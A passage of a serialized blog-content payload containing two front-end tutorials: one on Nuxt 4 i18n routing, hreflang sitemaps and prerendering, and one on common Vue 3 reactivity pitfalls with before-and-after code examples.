useCookie: ",[26,1295,1296],{"class":436},"true",[26,1298,547],{"class":379},[26,1300,1301,1304,1307],{"class":28,"line":487},[26,1302,1303],{"class":379},"      cookieKey: ",[26,1305,1306],{"class":386},"'i18n_redirected'",[26,1308,547],{"class":379},[26,1310,1311,1314,1317],{"class":28,"line":494},[26,1312,1313],{"class":379},"      redirectOn: ",[26,1315,1316],{"class":386},"'root'",[26,1318,547],{"class":379},[26,1320,1321,1324,1327],{"class":28,"line":518},[26,1322,1323],{"class":379},"      alwaysRedirect: ",[26,1325,1326],{"class":436},"false",[26,1328,547],{"class":379},[26,1330,1331,1334,1336],{"class":28,"line":526},[26,1332,1333],{"class":379},"      fallbackLocale: ",[26,1335,1271],{"class":386},[26,1337,547],{"class":379},[26,1339,1340],{"class":28,"line":532},[26,1341,1342],{"class":379},"    },\n",[26,1344,1345],{"class":28,"line":538},[26,1346,1347],{"class":379},"    locales: [\n",[26,1349,1350,1353,1355,1358,1361,1364,1367,1370,1373],{"class":28,"line":550},[26,1351,1352],{"class":379},"      { code: ",[26,1354,1271],{"class":386},[26,1356,1357],{"class":379},", language: ",[26,1359,1360],{"class":386},"'en-US'",[26,1362,1363],{"class":379},", file: ",[26,1365,1366],{"class":386},"'en.json'",[26,1368,1369],{"class":379},", name: ",[26,1371,1372],{"class":386},"'English'",[26,1374,467],{"class":379},[26,1376,1377,1379,1382,1384,1387,1389,1392,1394,1397],{"class":28,"line":561},[26,1378,1352],{"class":379},[26,1380,1381],{"class":386},"'fr'",[26,1383,1357],{"class":379},[26,1385,1386],{"class":386},"'fr-FR'",[26,1388,1363],{"class":379},[26,1390,1391],{"class":386},"'fr.json'",[26,1393,1369],{"class":379},[26,1395,1396],{"class":386},"'Français'",[26,1398,467],{"class":379},[26,1400,1401,1403,1406,1408,1411,1413,1416,1418,1421],{"class":28,"line":567},[26,1402,1352],{"class":379},[26,1404,1405],{"class":386},"'de'",[26,1407,1357],{"class":379},[26,1409,1410],{"class":386},"'de-DE'",[26,1412,1363],{"class":379},[26,1414,1415],{"class":386},"'de.json'",[26,1417,1369],{"class":379},[26,1419,1420],{"class":386},"'Deutsch'",[26,1422,467],{"class":379},[26,1424,1425,1427,1430,1432,1435,1437,1440,1442,1445],{"class":28,"line":578},[26,1426,1352],{"class":379},[26,1428,1429],{"class":386},"'es'",[26,1431,1357],{"class":379},[26,1433,1434],{"class":386},"'es-ES'",[26,1436,1363],{"class":379},[26,1438,1439],{"class":386},"'es.json'",[26,1441,1369],{"class":379},[26,1443,1444],{"class":386},"'Español'",[26,1446,467],{"class":379},[26,1448,1449,1451,1454,1456,1459,1461,1464,1466,1469],{"class":28,"line":584},[26,1450,1352],{"class":379},[26,1452,1453],{"class":386},"'ja'",[26,1455,1357],{"class":379},[26,1457,1458],{"class":386},"'ja-JP'",[26,1460,1363],{"class":379},[26,1462,1463],{"class":386},"'ja.json'",[26,1465,1369],{"class":379},[26,1467,1468],{"class":386},"'日本語'",[26,1470,467],{"class":379},[26,1472,1473],{"class":28,"line":601},[26,1474,1475],{"class":379},"    ],\n",[26,1477,1478],{"class":28,"line":618},[26,1479,1480],{"class":379},"  },\n",[26,1482,1483],{"class":28,"line":624},[26,1484,663],{"class":379},[61,1486],{},[64,1488,1490,1491],{"id":1489},"_2-preventing-broken-links-with-uselocalepath","2. Preventing Broken Links with ",[23,1492,1493],{},"useLocalePath()",[12,1495,1496,1497,1500,1501,1503],{},"Never hardcode internal navigation links (",[23,1498,1499],{},"\u003CNuxtLink to=\"\u002Fcontact\">","). If a visitor on the French version (",[23,1502,1163],{},") clicks an unlocalized link, they are forcefully knocked back to the English version.",[12,1505,1506,1507,76],{},"Always wrap navigation targets in ",[23,1508,1509],{},"localePath()",[16,1511,1515],{"className":1512,"code":1513,"language":1514,"meta":21,"style":21},"language-vue shiki shiki-themes github-light github-dark","\u003Ctemplate>\n  \u003CNuxtLink :to=\"localePath('\u002Fcontact')\">\n    {{ t('nav.contact') }}\n  \u003C\u002FNuxtLink>\n\u003C\u002Ftemplate>\n\n\u003Cscript setup lang=\"ts\">\nconst localePath = useLocalePath()\nconst { t } = useI18n()\n\u003C\u002Fscript>\n","vue",[23,1516,1517,1529,1547,1552,1561,1570,1574,1594,1608,1626],{"__ignoreMap":21},[26,1518,1519,1522,1526],{"class":28,"line":29},[26,1520,1521],{"class":379},"\u003C",[26,1523,1525],{"class":1524},"s9eBZ","template",[26,1527,1528],{"class":379},">\n",[26,1530,1531,1534,1537,1540,1542,1545],{"class":28,"line":35},[26,1532,1533],{"class":379},"  \u003C",[26,1535,1536],{"class":1524},"NuxtLink",[26,1538,1539],{"class":446}," :to",[26,1541,746],{"class":379},[26,1543,1544],{"class":386},"\"localePath('\u002Fcontact')\"",[26,1546,1528],{"class":379},[26,1548,1549],{"class":28,"line":41},[26,1550,1551],{"class":379},"    {{ t('nav.contact') }}\n",[26,1553,1554,1557,1559],{"class":28,"line":170},[26,1555,1556],{"class":379},"  \u003C\u002F",[26,1558,1536],{"class":1524},[26,1560,1528],{"class":379},[26,1562,1563,1566,1568],{"class":28,"line":176},[26,1564,1565],{"class":379},"\u003C\u002F",[26,1567,1525],{"class":1524},[26,1569,1528],{"class":379},[26,1571,1572],{"class":28,"line":182},[26,1573,428],{"emptyLinePlaceholder":294},[26,1575,1576,1578,1581,1584,1587,1589,1592],{"class":28,"line":188},[26,1577,1521],{"class":379},[26,1579,1580],{"class":1524},"script",[26,1582,1583],{"class":446}," setup",[26,1585,1586],{"class":446}," lang",[26,1588,746],{"class":379},[26,1590,1591],{"class":386},"\"ts\"",[26,1593,1528],{"class":379},[26,1595,1596,1598,1601,1603,1606],{"class":28,"line":470},[26,1597,433],{"class":375},[26,1599,1600],{"class":436}," localePath",[26,1602,440],{"class":375},[26,1604,1605],{"class":446}," useLocalePath",[26,1607,946],{"class":379},[26,1609,1610,1612,1614,1617,1619,1621,1624],{"class":28,"line":476},[26,1611,433],{"class":375},[26,1613,727],{"class":379},[26,1615,1616],{"class":436},"t",[26,1618,743],{"class":379},[26,1620,746],{"class":375},[26,1622,1623],{"class":446}," useI18n",[26,1625,946],{"class":379},[26,1627,1628,1630,1632],{"class":28,"line":482},[26,1629,1565],{"class":379},[26,1631,1580],{"class":1524},[26,1633,1528],{"class":379},[61,1635],{},[64,1637,1639,1640],{"id":1638},"_3-automated-multilingual-sitemap-with-xhtmllink","3. Automated Multilingual Sitemap with ",[23,1641,1642],{},"xhtml:link",[12,1644,1645,1646,113],{},"For Google to rank your pages in target countries without duplicate content penalties, your sitemap must declare ",[49,1647,1648],{},"hreflang alternate links",[12,1650,1651,1654,1655,1657],{},[23,1652,1653],{},"@nuxtjs\u002Fsitemap"," pairs with ",[23,1656,1117],{}," to generate this automatically:",[16,1659,1663],{"className":1660,"code":1661,"language":1662,"meta":21,"style":21},"language-xml shiki shiki-themes github-light github-dark","\u003Curl>\n  \u003Cloc>https:\u002F\u002Fadam-portfolio.vercel.app\u002Fportfolio\u003C\u002Floc>\n  \u003Cxhtml:link rel=\"alternate\" hreflang=\"en-US\" href=\"https:\u002F\u002Fadam-portfolio.vercel.app\u002Fportfolio\" \u002F>\n  \u003Cxhtml:link rel=\"alternate\" hreflang=\"fr-FR\" href=\"https:\u002F\u002Fadam-portfolio.vercel.app\u002Ffr\u002Fportfolio\" \u002F>\n  \u003Cxhtml:link rel=\"alternate\" hreflang=\"de-DE\" href=\"https:\u002F\u002Fadam-portfolio.vercel.app\u002Fde\u002Fportfolio\" \u002F>\n  \u003Cxhtml:link rel=\"alternate\" hreflang=\"es-ES\" href=\"https:\u002F\u002Fadam-portfolio.vercel.app\u002Fes\u002Fportfolio\" \u002F>\n  \u003Cxhtml:link rel=\"alternate\" hreflang=\"ja-JP\" href=\"https:\u002F\u002Fadam-portfolio.vercel.app\u002Fja\u002Fportfolio\" \u002F>\n\u003C\u002Furl>\n","xml",[23,1664,1665,1670,1675,1680,1685,1690,1695,1700],{"__ignoreMap":21},[26,1666,1667],{"class":28,"line":29},[26,1668,1669],{},"\u003Curl>\n",[26,1671,1672],{"class":28,"line":35},[26,1673,1674],{},"  \u003Cloc>https:\u002F\u002Fadam-portfolio.vercel.app\u002Fportfolio\u003C\u002Floc>\n",[26,1676,1677],{"class":28,"line":41},[26,1678,1679],{},"  \u003Cxhtml:link rel=\"alternate\" hreflang=\"en-US\" href=\"https:\u002F\u002Fadam-portfolio.vercel.app\u002Fportfolio\" \u002F>\n",[26,1681,1682],{"class":28,"line":170},[26,1683,1684],{},"  \u003Cxhtml:link rel=\"alternate\" hreflang=\"fr-FR\" href=\"https:\u002F\u002Fadam-portfolio.vercel.app\u002Ffr\u002Fportfolio\" \u002F>\n",[26,1686,1687],{"class":28,"line":176},[26,1688,1689],{},"  \u003Cxhtml:link rel=\"alternate\" hreflang=\"de-DE\" href=\"https:\u002F\u002Fadam-portfolio.vercel.app\u002Fde\u002Fportfolio\" \u002F>\n",[26,1691,1692],{"class":28,"line":182},[26,1693,1694],{},"  \u003Cxhtml:link rel=\"alternate\" hreflang=\"es-ES\" href=\"https:\u002F\u002Fadam-portfolio.vercel.app\u002Fes\u002Fportfolio\" \u002F>\n",[26,1696,1697],{"class":28,"line":188},[26,1698,1699],{},"  \u003Cxhtml:link rel=\"alternate\" hreflang=\"ja-JP\" href=\"https:\u002F\u002Fadam-portfolio.vercel.app\u002Fja\u002Fportfolio\" \u002F>\n",[26,1701,1702],{"class":28,"line":470},[26,1703,1704],{},"\u003C\u002Furl>\n",[61,1706],{},[64,1708,1710],{"id":1709},"_4-prerendering-the-entire-site-with-nitro","4. Prerendering the Entire Site with Nitro",[12,1712,1713],{},"To achieve instant delivery, configure Nitro to crawl and generate static HTML files at build time:",[16,1715,1717],{"className":366,"code":1716,"language":368,"meta":21,"style":21},"nitro: {\n  prerender: {\n    crawlLinks: true,\n    routes: ['\u002Frobots.txt', '\u002Fsitemap.xml'],\n  },\n}\n",[23,1718,1719,1727,1734,1745,1763,1767],{"__ignoreMap":21},[26,1720,1721,1724],{"class":28,"line":29},[26,1722,1723],{"class":446},"nitro",[26,1725,1726],{"class":379},": {\n",[26,1728,1729,1732],{"class":28,"line":35},[26,1730,1731],{"class":446},"  prerender",[26,1733,1726],{"class":379},[26,1735,1736,1739,1741,1743],{"class":28,"line":41},[26,1737,1738],{"class":446},"    crawlLinks",[26,1740,1011],{"class":379},[26,1742,1296],{"class":436},[26,1744,547],{"class":379},[26,1746,1747,1750,1753,1756,1758,1761],{"class":28,"line":170},[26,1748,1749],{"class":446},"    routes",[26,1751,1752],{"class":379},": [",[26,1754,1755],{"class":386},"'\u002Frobots.txt'",[26,1757,129],{"class":379},[26,1759,1760],{"class":386},"'\u002Fsitemap.xml'",[26,1762,1244],{"class":379},[26,1764,1765],{"class":28,"line":176},[26,1766,1480],{"class":379},[26,1768,1769],{"class":28,"line":182},[26,1770,1067],{"class":379},[12,1772,1773,1774,1777,1778,1781],{},"Running ",[23,1775,1776],{},"npm run build"," generates 100% pre-compiled HTML into ",[23,1779,1780],{},".vercel\u002Foutput\u002Fstatic",". The site deploys to Vercel's Edge Network with global sub-30ms response times.",[274,1783,1784],{},"html pre.shiki code .sJ8bj, html code.shiki .sJ8bj{--shiki-default:#6A737D;--shiki-dark:#6A737D}html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .s9eBZ, html code.shiki .s9eBZ{--shiki-default:#22863A;--shiki-dark:#85E89D}",{"title":21,"searchDepth":35,"depth":35,"links":1786},[1787,1789,1791,1793],{"id":1122,"depth":35,"text":1788},"1. The Core Routing Strategy: prefix_except_default",{"id":1489,"depth":35,"text":1790},"2. Preventing Broken Links with useLocalePath()",{"id":1638,"depth":35,"text":1792},"3. Automated Multilingual Sitemap with xhtml:link",{"id":1709,"depth":35,"text":1710},"2026-09-17","Front-end developers looking for production-ready internationalization (@nuxtjs\u002Fi18n), SEO best practices, and 100 Lighthouse scores.",{},"\u002Fblog\u002Fen\u002Fmultilingual-nuxt4-prerendering",{"title":1094,"description":1795},"multilingual-nuxt4-prerendering","blog\u002Fen\u002Fmultilingual-nuxt4-prerendering",[1802,1803,1804,1514,1805],"nuxt","i18n","seo","web-performance","JdyJ9rUL9fNmwOBe_yfBgLpwgVc5oFp4ccxr7QoiqRU",{"id":1808,"title":1809,"author":7,"body":1810,"date":2470,"description":2471,"extension":290,"featured":291,"image":292,"meta":2472,"navigation":294,"path":2473,"readingTime":182,"seo":2474,"slug":2475,"stem":2476,"tags":2477,"__hash__":2478},"blog\u002Fblog\u002Fen\u002Fvue3-reactivity-traps.md","Common Vue 3 Reactivity Traps: Avoiding Mistakes with ref, reactive, and Destructuring",{"type":9,"value":1811,"toc":2456},[1812,1815,1822,1824,1828,1831,1905,1915,1925,2008,2010,2018,2024,2112,2122,2194,2196,2203,2209,2345,2347,2351,2374,2453],[12,1813,1814],{},"The Vue 3 Composition API is elegant, expressive, and predictable — until you accidentally lose reactivity by destructuring a prop or assigning a plain object to a reactive state.",[12,1816,1817,1818,1821],{},"Even experienced developers encounter subtle reactivity bugs that cause the UI not to update as expected. In this guide, we break down the ",[49,1819,1820],{},"4 most common reactivity traps in Vue 3"," and how to avoid them.",[61,1823],{},[64,1825,1827],{"id":1826},"_1-trap-1-destructuring-props-or-reactive-objects","1. Trap #1: Destructuring Props or Reactive Objects",[12,1829,1830],{},"The most frequent mistake in Vue 3:",[16,1832,1834],{"className":366,"code":1833,"language":368,"meta":21,"style":21},"\u002F\u002F ❌ Destructuring breaks the reactive proxy connection!\nconst state = reactive({ count: 0, user: 'Adam' })\nconst { count, user } = state\n\n\u002F\u002F Incrementing count here will NOT trigger UI re-renders!\ncount++\n",[23,1835,1836,1841,1868,1889,1893,1898],{"__ignoreMap":21},[26,1837,1838],{"class":28,"line":29},[26,1839,1840],{"class":490},"\u002F\u002F ❌ Destructuring breaks the reactive proxy connection!\n",[26,1842,1843,1845,1848,1850,1853,1856,1859,1862,1865],{"class":28,"line":35},[26,1844,433],{"class":375},[26,1846,1847],{"class":436}," state",[26,1849,440],{"class":375},[26,1851,1852],{"class":446}," reactive",[26,1854,1855],{"class":379},"({ count: ",[26,1857,1858],{"class":436},"0",[26,1860,1861],{"class":379},", user: ",[26,1863,1864],{"class":386},"'Adam'",[26,1866,1867],{"class":379}," })\n",[26,1869,1870,1872,1874,1877,1879,1882,1884,1886],{"class":28,"line":41},[26,1871,433],{"class":375},[26,1873,727],{"class":379},[26,1875,1876],{"class":436},"count",[26,1878,129],{"class":379},[26,1880,1881],{"class":436},"user",[26,1883,743],{"class":379},[26,1885,746],{"class":375},[26,1887,1888],{"class":379}," state\n",[26,1890,1891],{"class":28,"line":170},[26,1892,428],{"emptyLinePlaceholder":294},[26,1894,1895],{"class":28,"line":176},[26,1896,1897],{"class":490},"\u002F\u002F Incrementing count here will NOT trigger UI re-renders!\n",[26,1899,1900,1902],{"class":28,"line":182},[26,1901,1876],{"class":379},[26,1903,1904],{"class":375},"++\n",[193,1906,1908,1909,263,1912],{"id":1907},"the-fix-torefs-or-toref","The Fix: ",[23,1910,1911],{},"toRefs()",[23,1913,1914],{},"toRef()",[12,1916,1917,1920,1921,1924],{},[23,1918,1919],{},"toRefs"," converts each property of a reactive object into an individual ",[23,1922,1923],{},"ref"," that preserves the connection to the source:",[16,1926,1928],{"className":366,"code":1927,"language":368,"meta":21,"style":21},"\u002F\u002F ✅ Reactivity preserved!\nimport { reactive, toRefs } from 'vue'\n\nconst state = reactive({ count: 0, user: 'Adam' })\nconst { count, user } = toRefs(state)\n\ncount.value++ \u002F\u002F UI updates immediately!\n",[23,1929,1930,1935,1947,1951,1971,1993,1997],{"__ignoreMap":21},[26,1931,1932],{"class":28,"line":29},[26,1933,1934],{"class":490},"\u002F\u002F ✅ Reactivity preserved!\n",[26,1936,1937,1939,1942,1944],{"class":28,"line":35},[26,1938,376],{"class":375},[26,1940,1941],{"class":379}," { reactive, toRefs } ",[26,1943,383],{"class":375},[26,1945,1946],{"class":386}," 'vue'\n",[26,1948,1949],{"class":28,"line":41},[26,1950,428],{"emptyLinePlaceholder":294},[26,1952,1953,1955,1957,1959,1961,1963,1965,1967,1969],{"class":28,"line":170},[26,1954,433],{"class":375},[26,1956,1847],{"class":436},[26,1958,440],{"class":375},[26,1960,1852],{"class":446},[26,1962,1855],{"class":379},[26,1964,1858],{"class":436},[26,1966,1861],{"class":379},[26,1968,1864],{"class":386},[26,1970,1867],{"class":379},[26,1972,1973,1975,1977,1979,1981,1983,1985,1987,1990],{"class":28,"line":176},[26,1974,433],{"class":375},[26,1976,727],{"class":379},[26,1978,1876],{"class":436},[26,1980,129],{"class":379},[26,1982,1881],{"class":436},[26,1984,743],{"class":379},[26,1986,746],{"class":375},[26,1988,1989],{"class":446}," toRefs",[26,1991,1992],{"class":379},"(state)\n",[26,1994,1995],{"class":28,"line":182},[26,1996,428],{"emptyLinePlaceholder":294},[26,1998,1999,2002,2005],{"class":28,"line":188},[26,2000,2001],{"class":379},"count.value",[26,2003,2004],{"class":375},"++",[26,2006,2007],{"class":490}," \u002F\u002F UI updates immediately!\n",[61,2009],{},[64,2011,2013,2014,2017],{"id":2012},"_2-trap-2-reassigning-an-entire-reactive-object","2. Trap #2: Reassigning an Entire ",[23,2015,2016],{},"reactive()"," Object",[12,2019,2020,2021,2023],{},"If you define state with ",[23,2022,2016],{},", reassigning the object replaces the proxy reference entirely:",[16,2025,2027],{"className":366,"code":2026,"language":368,"meta":21,"style":21},"\u002F\u002F ❌ Loses the original proxy tracked by the template\nlet userProfile = reactive({ name: 'Adam', role: 'Dev' })\n\nasync function loadUser() {\n  const data = await fetchUser()\n  userProfile = reactive(data) \u002F\u002F 💥 The template is still watching the OLD proxy!\n}\n",[23,2028,2029,2034,2059,2063,2076,2093,2108],{"__ignoreMap":21},[26,2030,2031],{"class":28,"line":29},[26,2032,2033],{"class":490},"\u002F\u002F ❌ Loses the original proxy tracked by the template\n",[26,2035,2036,2039,2042,2044,2046,2049,2051,2054,2057],{"class":28,"line":35},[26,2037,2038],{"class":375},"let",[26,2040,2041],{"class":379}," userProfile ",[26,2043,746],{"class":375},[26,2045,1852],{"class":446},[26,2047,2048],{"class":379},"({ name: ",[26,2050,1864],{"class":386},[26,2052,2053],{"class":379},", role: ",[26,2055,2056],{"class":386},"'Dev'",[26,2058,1867],{"class":379},[26,2060,2061],{"class":28,"line":41},[26,2062,428],{"emptyLinePlaceholder":294},[26,2064,2065,2067,2070,2073],{"class":28,"line":170},[26,2066,506],{"class":375},[26,2068,2069],{"class":375}," function",[26,2071,2072],{"class":446}," loadUser",[26,2074,2075],{"class":379},"() {\n",[26,2077,2078,2081,2084,2086,2088,2091],{"class":28,"line":176},[26,2079,2080],{"class":375},"  const",[26,2082,2083],{"class":436}," data",[26,2085,440],{"class":375},[26,2087,768],{"class":375},[26,2089,2090],{"class":446}," fetchUser",[26,2092,946],{"class":379},[26,2094,2095,2098,2100,2102,2105],{"class":28,"line":182},[26,2096,2097],{"class":379},"  userProfile ",[26,2099,746],{"class":375},[26,2101,1852],{"class":446},[26,2103,2104],{"class":379},"(data) ",[26,2106,2107],{"class":490},"\u002F\u002F 💥 The template is still watching the OLD proxy!\n",[26,2109,2110],{"class":28,"line":188},[26,2111,1067],{"class":379},[193,2113,2115,2116,263,2119],{"id":2114},"the-fix-use-ref-or-objectassign","The Fix: Use ",[23,2117,2118],{},"ref()",[23,2120,2121],{},"Object.assign()",[16,2123,2125],{"className":366,"code":2124,"language":368,"meta":21,"style":21},"\u002F\u002F ✅ Option A: Use ref (Recommended for objects that get replaced)\nconst userProfile = ref({ name: 'Adam', role: 'Dev' })\nuserProfile.value = await fetchUser()\n\n\u002F\u002F ✅ Option B: Mutate in-place\nObject.assign(userProfile, await fetchUser())\n",[23,2126,2127,2132,2154,2167,2171,2176],{"__ignoreMap":21},[26,2128,2129],{"class":28,"line":29},[26,2130,2131],{"class":490},"\u002F\u002F ✅ Option A: Use ref (Recommended for objects that get replaced)\n",[26,2133,2134,2136,2139,2141,2144,2146,2148,2150,2152],{"class":28,"line":35},[26,2135,433],{"class":375},[26,2137,2138],{"class":436}," userProfile",[26,2140,440],{"class":375},[26,2142,2143],{"class":446}," ref",[26,2145,2048],{"class":379},[26,2147,1864],{"class":386},[26,2149,2053],{"class":379},[26,2151,2056],{"class":386},[26,2153,1867],{"class":379},[26,2155,2156,2159,2161,2163,2165],{"class":28,"line":41},[26,2157,2158],{"class":379},"userProfile.value ",[26,2160,746],{"class":375},[26,2162,768],{"class":375},[26,2164,2090],{"class":446},[26,2166,946],{"class":379},[26,2168,2169],{"class":28,"line":170},[26,2170,428],{"emptyLinePlaceholder":294},[26,2172,2173],{"class":28,"line":176},[26,2174,2175],{"class":490},"\u002F\u002F ✅ Option B: Mutate in-place\n",[26,2177,2178,2181,2184,2187,2189,2191],{"class":28,"line":182},[26,2179,2180],{"class":379},"Object.",[26,2182,2183],{"class":446},"assign",[26,2185,2186],{"class":379},"(userProfile, ",[26,2188,952],{"class":375},[26,2190,2090],{"class":446},[26,2192,2193],{"class":379},"())\n",[61,2195],{},[64,2197,2199,2200],{"id":2198},"_3-trap-3-watching-deep-reactive-state-without-deep-true","3. Trap #3: Watching Deep Reactive State Without ",[23,2201,2202],{},"{ deep: true }",[12,2204,2205,2206,2208],{},"When watching a ",[23,2207,1923],{}," holding a nested object or array, Vue 3 defaults to a shallow watch:",[16,2210,2212],{"className":366,"code":2211,"language":368,"meta":21,"style":21},"const filters = ref({ category: 'all', price: { min: 0, max: 100 } })\n\n\u002F\u002F ❌ Will NOT trigger when filters.value.price.max changes!\nwatch(filters, (newVal) => {\n  console.log('Filters changed', newVal)\n})\n\n\u002F\u002F ✅ Pass deep: true, or watch a getter function\nwatch(\n  () => filters.value.price.max,\n  (newMax) => console.log('Max price changed to', newMax)\n)\n",[23,2213,2214,2245,2249,2254,2271,2287,2291,2295,2300,2306,2316,2341],{"__ignoreMap":21},[26,2215,2216,2218,2221,2223,2225,2228,2231,2234,2236,2239,2242],{"class":28,"line":29},[26,2217,433],{"class":375},[26,2219,2220],{"class":436}," filters",[26,2222,440],{"class":375},[26,2224,2143],{"class":446},[26,2226,2227],{"class":379},"({ category: ",[26,2229,2230],{"class":386},"'all'",[26,2232,2233],{"class":379},", price: { min: ",[26,2235,1858],{"class":436},[26,2237,2238],{"class":379},", max: ",[26,2240,2241],{"class":436},"100",[26,2243,2244],{"class":379}," } })\n",[26,2246,2247],{"class":28,"line":35},[26,2248,428],{"emptyLinePlaceholder":294},[26,2250,2251],{"class":28,"line":41},[26,2252,2253],{"class":490},"\u002F\u002F ❌ Will NOT trigger when filters.value.price.max changes!\n",[26,2255,2256,2259,2262,2265,2267,2269],{"class":28,"line":170},[26,2257,2258],{"class":446},"watch",[26,2260,2261],{"class":379},"(filters, (",[26,2263,2264],{"class":692},"newVal",[26,2266,696],{"class":379},[26,2268,512],{"class":375},[26,2270,515],{"class":379},[26,2272,2273,2276,2279,2281,2284],{"class":28,"line":176},[26,2274,2275],{"class":379},"  console.",[26,2277,2278],{"class":446},"log",[26,2280,892],{"class":379},[26,2282,2283],{"class":386},"'Filters changed'",[26,2285,2286],{"class":379},", newVal)\n",[26,2288,2289],{"class":28,"line":182},[26,2290,663],{"class":379},[26,2292,2293],{"class":28,"line":188},[26,2294,428],{"emptyLinePlaceholder":294},[26,2296,2297],{"class":28,"line":470},[26,2298,2299],{"class":490},"\u002F\u002F ✅ Pass deep: true, or watch a getter function\n",[26,2301,2302,2304],{"class":28,"line":476},[26,2303,2258],{"class":446},[26,2305,450],{"class":379},[26,2307,2308,2311,2313],{"class":28,"line":482},[26,2309,2310],{"class":379},"  () ",[26,2312,512],{"class":375},[26,2314,2315],{"class":379}," filters.value.price.max,\n",[26,2317,2318,2321,2324,2326,2328,2331,2333,2335,2338],{"class":28,"line":487},[26,2319,2320],{"class":379},"  (",[26,2322,2323],{"class":692},"newMax",[26,2325,696],{"class":379},[26,2327,512],{"class":375},[26,2329,2330],{"class":379}," console.",[26,2332,2278],{"class":446},[26,2334,892],{"class":379},[26,2336,2337],{"class":386},"'Max price changed to'",[26,2339,2340],{"class":379},", newMax)\n",[26,2342,2343],{"class":28,"line":494},[26,2344,479],{"class":379},[61,2346],{},[64,2348,2350],{"id":2349},"_4-trap-4-asynchronous-loss-of-current-instance-in-lifecycle-hooks","4. Trap #4: Asynchronous Loss of Current Instance in Lifecycle Hooks",[12,2352,2353,2354,129,2357,2360,2361,2364,2365,2367,2368,263,2371,113],{},"Accessing ",[23,2355,2356],{},"useNuxtApp()",[23,2358,2359],{},"useRoute()",", or ",[23,2362,2363],{},"inject()"," after an ",[23,2366,952],{}," statement will fail with:\n",[23,2369,2370],{},"[Vue warn]: injection \"Symbol(...)\" not found",[23,2372,2373],{},"Nuxt instance unavailable",[16,2375,2377],{"className":366,"code":2376,"language":368,"meta":21,"style":21},"\u002F\u002F ❌ WRONG: Calling composables AFTER an async boundary\nconst res = await fetchData()\nconst route = useRoute() \u002F\u002F 💥 Throws error! Nuxt context lost after await.\n\n\u002F\u002F ✅ CORRECT: Always call composables synchronously at the top of \u003Cscript setup>\nconst route = useRoute()\nconst res = await fetchData()\n",[23,2378,2379,2384,2400,2418,2422,2427,2439],{"__ignoreMap":21},[26,2380,2381],{"class":28,"line":29},[26,2382,2383],{"class":490},"\u002F\u002F ❌ WRONG: Calling composables AFTER an async boundary\n",[26,2385,2386,2388,2391,2393,2395,2398],{"class":28,"line":35},[26,2387,433],{"class":375},[26,2389,2390],{"class":436}," res",[26,2392,440],{"class":375},[26,2394,768],{"class":375},[26,2396,2397],{"class":446}," fetchData",[26,2399,946],{"class":379},[26,2401,2402,2404,2407,2409,2412,2415],{"class":28,"line":41},[26,2403,433],{"class":375},[26,2405,2406],{"class":436}," route",[26,2408,440],{"class":375},[26,2410,2411],{"class":446}," useRoute",[26,2413,2414],{"class":379},"() ",[26,2416,2417],{"class":490},"\u002F\u002F 💥 Throws error! Nuxt context lost after await.\n",[26,2419,2420],{"class":28,"line":170},[26,2421,428],{"emptyLinePlaceholder":294},[26,2423,2424],{"class":28,"line":176},[26,2425,2426],{"class":490},"\u002F\u002F ✅ CORRECT: Always call composables synchronously at the top of \u003Cscript setup>\n",[26,2428,2429,2431,2433,2435,2437],{"class":28,"line":182},[26,2430,433],{"class":375},[26,2432,2406],{"class":436},[26,2434,440],{"class":375},[26,2436,2411],{"class":446},[26,2438,946],{"class":379},[26,2440,2441,2443,2445,2447,2449,2451],{"class":28,"line":188},[26,2442,433],{"class":375},[26,2444,2390],{"class":436},[26,2446,440],{"class":375},[26,2448,768],{"class":375},[26,2450,2397],{"class":446},[26,2452,946],{"class":379},[274,2454,2455],{},"html pre.shiki code .sJ8bj, html code.shiki .sJ8bj{--shiki-default:#6A737D;--shiki-dark:#6A737D}html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .s4XuR, html code.shiki .s4XuR{--shiki-default:#E36209;--shiki-dark:#FFAB70}",{"title":21,"searchDepth":35,"depth":35,"links":2457},[2458,2462,2467,2469],{"id":1826,"depth":35,"text":1827,"children":2459},[2460],{"id":1907,"depth":41,"text":2461},"The Fix: toRefs() or 